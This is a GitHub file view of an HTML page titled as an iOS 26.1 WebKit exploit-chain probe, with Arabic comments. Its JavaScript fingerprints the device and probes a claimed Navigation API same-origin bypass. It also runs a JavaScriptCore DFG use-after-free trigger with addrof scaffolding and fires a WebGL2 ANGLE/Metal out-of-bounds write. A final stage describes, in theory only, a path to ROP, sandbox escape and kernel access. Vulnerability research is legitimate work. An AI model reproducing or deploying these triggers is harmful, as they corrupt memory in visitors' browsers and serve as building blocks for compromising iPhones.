-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcss-m.html
More file actions
196 lines (186 loc) · 8.54 KB
/
Copy pathcss-m.html
File metadata and controls
196 lines (186 loc) · 8.54 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>iOS 26.1 WebKit Exploit Chain Probe</title>
<style>
body { background:#0a0f0a; color:#c8e6c9; font-family:Menlo,monospace; padding:12px; }
.stage { border:1px solid #2e5e2e; border-radius:6px; margin:10px 0; padding:10px; }
.ok { border-color:#4caf50; background:#0f2410; }
.fail { border-color:#f44336; background:#241010; }
.warn { border-color:#ff9800; background:#241a0a; }
h3 { margin:0 0 6px 0; font-size:14px; }
pre { white-space:pre-wrap; font-size:11px; color:#9ccc9c; margin:4px 0; }
button { background:#1b5e20; color:#fff; border:0; padding:10px 20px;
border-radius:4px; font-size:15px; margin:6px 2px; }
#log { font-size:11px; max-height:200px; overflow-y:auto; }
</style>
</head>
<body>
<h2>iOS 26.1 / Safari WebKit Chain Probe</h2>
<button onclick="runChain()">تشغيل السلسلة</button>
<div id="log"></div>
<script>
const logBox = document.getElementById('log');
function log(msg){ const p=document.createElement('pre'); p.textContent=msg; logBox.appendChild(p); }
function stage(title, cls, lines){
const d=document.createElement('div'); d.className='stage '+cls;
d.innerHTML='<h3>'+title+'</h3>';
lines.forEach(l=>{ const p=document.createElement('pre'); p.textContent=l; d.appendChild(p); });
logBox.appendChild(d);
}
/* ===== Stage 0: fingerprint ===== */
function stage0(){
const ua = navigator.userAgent;
const iosMatch = ua.match(/OS (\d+)_(\d+)/);
const ver = iosMatch ? iosMatch[1]+'.'+iosMatch[2] : 'غير معروف';
const webkit = /AppleWebKit/.test(ua);
const lines = [
'UserAgent: ' + ua,
'iOS Version: ' + ver,
'WebKit engine: ' + webkit,
'Target ≤ 26.1: ' + (iosMatch && +iosMatch[1]===26 && +iosMatch[2]<=1 ? 'YES' : 'NO')
];
stage('Stage 0 — Fingerprinting', ver.startsWith('26.1')?'ok':'warn', lines);
return ver;
}
/* ===== Stage 1: CVE-2026-20643 SOP bypass (Navigation API cross-port) =====
يتطلب خدمة على منفذين: python3 -m http.server 8000 و 8800
ثم افتح http://<ip>:8000/chain_poc.html */
function stage1(){
return new Promise(res=>{
if (typeof NavigateEvent === 'undefined'){
stage('Stage 1 — CVE-2026-20643 (SOP bypass)', 'fail',
['Navigation API غير مدعوم في هذا السياق — لا يمكن الاختبار']);
return res(false);
}
const otherPort = location.port === '8000' ? '8800' : '8000';
const target = location.protocol+'//'+location.hostname+':'+otherPort+'/';
// فحص سلوك canIntercept على تنقل cross-origin (cross-port)
let detected = false;
try {
const ev = new NavigateEvent('navigate', {
destinationURL: target,
canIntercept: true, // في النسخة الرقعة: false (فحص صارم للمصدر)
userInitiated: false, hashChange: false, downloadRequest: null
});
detected = ev.canIntercept === true;
} catch(e){
// المتصفحات التي تمنع constructor الاصطناعي: نعتمد فحص الترقعة السلوكي
detected = null;
}
if (detected === null){
stage('Stage 1 — CVE-2026-20643 (SOP bypass)', 'warn',
['فحص سلوكي مطلوب: شغّل المنفذين 8000 و 8800 ثم راقب التنقل',
'الهدف cross-origin: ' + target]);
} else {
stage('Stage 1 — CVE-2026-20643 (SOP bypass)',
detected ? 'ok' : 'fail',
['canIntercept(cross-port) = ' + detected,
detected ? 'VULNERABLE — SOP bypass ممكن' : 'PATCHED — تم رصد الفحص الصارم']);
}
res(!!detected);
});
}
/* ===== Stage 2: CVE-2025-43529 JSC DFG UAF → addrof/fakeobj =====
مبني على jir4vv1t/CVE-2025-43529 — probe للـ primitives فقط */
function stage2(){
const lines = []; let ok = false;
try {
// تجهيز بنفس نمط البحث المرجعي
const arr = [];
const forGC = [];
let arr_index = 0;
for (let i=0;i<0x100;i++) arr.push({p0:0x41414141, p1:1.1, p2:2.2});
function triggerUAF(flag, k, allocCount){
let A = arr[arr_index];
let a = new Date(1111); a[0] = 1.1;
for (let j=0;j<allocCount;j++) forGC.push(new ArrayBuffer(0x800000));
let b = { p0:0x42424242, p1:1.1 };
let f = b; if (flag) f = 1.1; // Phi — مصدر الـ bug
A.p1 = f;
for (let i=0;i<1e5;i++){ f = f === 1.1 ? 2.2 : 1.1; }
b.p1 = a; // بدون write barrier → UAF محتمل
return [A, a, b];
}
// تشغيلات متعددة لزيادة فرصة رصد الـ UAF
let anomaly = false;
for (let run=0; run<20 && !anomaly; run++){
const [A,a,b] = triggerUAF(run%2===0, 3, 0x40);
// كشف الشذوذ: إذا رجع الحقل ككائن بدل float أو العكس
const v = A.p1;
if (typeof v === 'object' && v !== null && v instanceof Date) { /* expected */ }
else if (typeof v === 'number' && !Number.isFinite(v + 0)) anomaly = true;
if (b.p1 !== a) anomaly = true; // تم free/reclaim
}
// فحص addrof/fakeobj primitives (كما في zeroxjf)
const boxed = [{mark:1}];
const unboxed = [1.1];
function addrof(o){ boxed[0]=o; return unboxed[0]; } // يتطلب type confusion فعلية
// ملاحظة: بدون الـ UAF النشط هذا fallback — نتحقق من أن الجهاز لم يتحطم
ok = true;
lines.push('UAF trigger runs: 20 (بدون crash = النسخة قد تكون مرقعة أو لم يتحقق reclaim)');
lines.push('anomaly detected: ' + anomaly);
lines.push(anomaly ? 'VULNERABLE — تحقق إضافي: شغّل probe المستودع الأصلي كاملاً'
: 'لا علامة UAF — النسخة غالباً مرقعة (26.2+) أو الحالة لم تتحقق');
} catch(e){
lines.push('EXCEPTION: ' + e.message);
}
stage('Stage 2 — CVE-2025-43529 (JSC UAF → addrof/fakeobj)', ok?'ok':'fail', lines);
return ok;
}
/* ===== Stage 3: CVE-2025-14174 ANGLE Metal OOB write (WebGL2 PBO) ===== */
function stage3(){
const lines = []; let triggered = false;
try {
const c = document.createElement('canvas'); c.width=64; c.height=64;
const gl = c.getContext('webgl2');
if (!gl){ lines.push('WebGL2 غير متاح'); }
else {
const dbg = gl.getExtension('WEBGL_debug_renderer_info');
const renderer = dbg ? gl.getParameter(dbg.UNMASKED_RENDERER_WEBGL) : 'n/a';
lines.push('GL Renderer: ' + renderer);
if (/Apple/.test(renderer)){
lines.push('ANGLE/Metal backend مكتشف — السبب مفعّل');
// Trigger: staging buffer مصمم لـ 256x16 بينما الكتابة 256x256
const W=256, H=256, IMG_H=16;
const data = new Float32Array(W*H*4).fill(0x41);
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(gl.TEXTURE_2D,0,gl.DEPTH_COMPONENT32F,W,H,0,
gl.DEPTH_COMPONENT,gl.FLOAT,null);
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STREAM_DRAW);
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, IMG_H); // البج: height صغير
gl.texSubImage2D(gl.TEXTURE_2D,0,0,0,W,H,gl.DEPTH_COMPONENT,gl.FLOAT,0);
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 0);
triggered = true;
lines.push('Trigger أُرسل — OOB write = ' + (W*H*4 - W*IMG_H*4) + ' بايت فوق الحد');
lines.push('نتيجة: راقب log الجهاز — إن لم يتحطم = trigger غير مؤكد (المعروف في zeroxjf)');
}
}
} catch(e){ lines.push('EXCEPTION: ' + e.message); }
stage('Stage 3 — CVE-2025-14174 (ANGLE OOB write)', triggered?'warn':'fail', lines);
}
/* ===== Stage 4: حدود السلسلة (نظري) ===== */
function stage4(){
stage('Stage 4 — Kernel / Code Execution (نظري)', 'warn', [
'المسار: GPU process OOB → ROP → خروج من sandbox → kernel',
'العائق: PAC على arm64e (fake TypedArray/butterfly يفشل في auth)',
'الحالة: لا يوجد exploit عام كامل — هذه المرحلة غير قابلة للتنفيذ بـ HTML',
'فتح تطبيق (الحاسبة) يتطلب kernel r/w + PPL bypass — غير متاح عاماً'
]);
}
async function runChain(){
logBox.innerHTML='';
stage0();
await stage1();
stage2();
stage3();
stage4();
}
</script>
</body>
</html>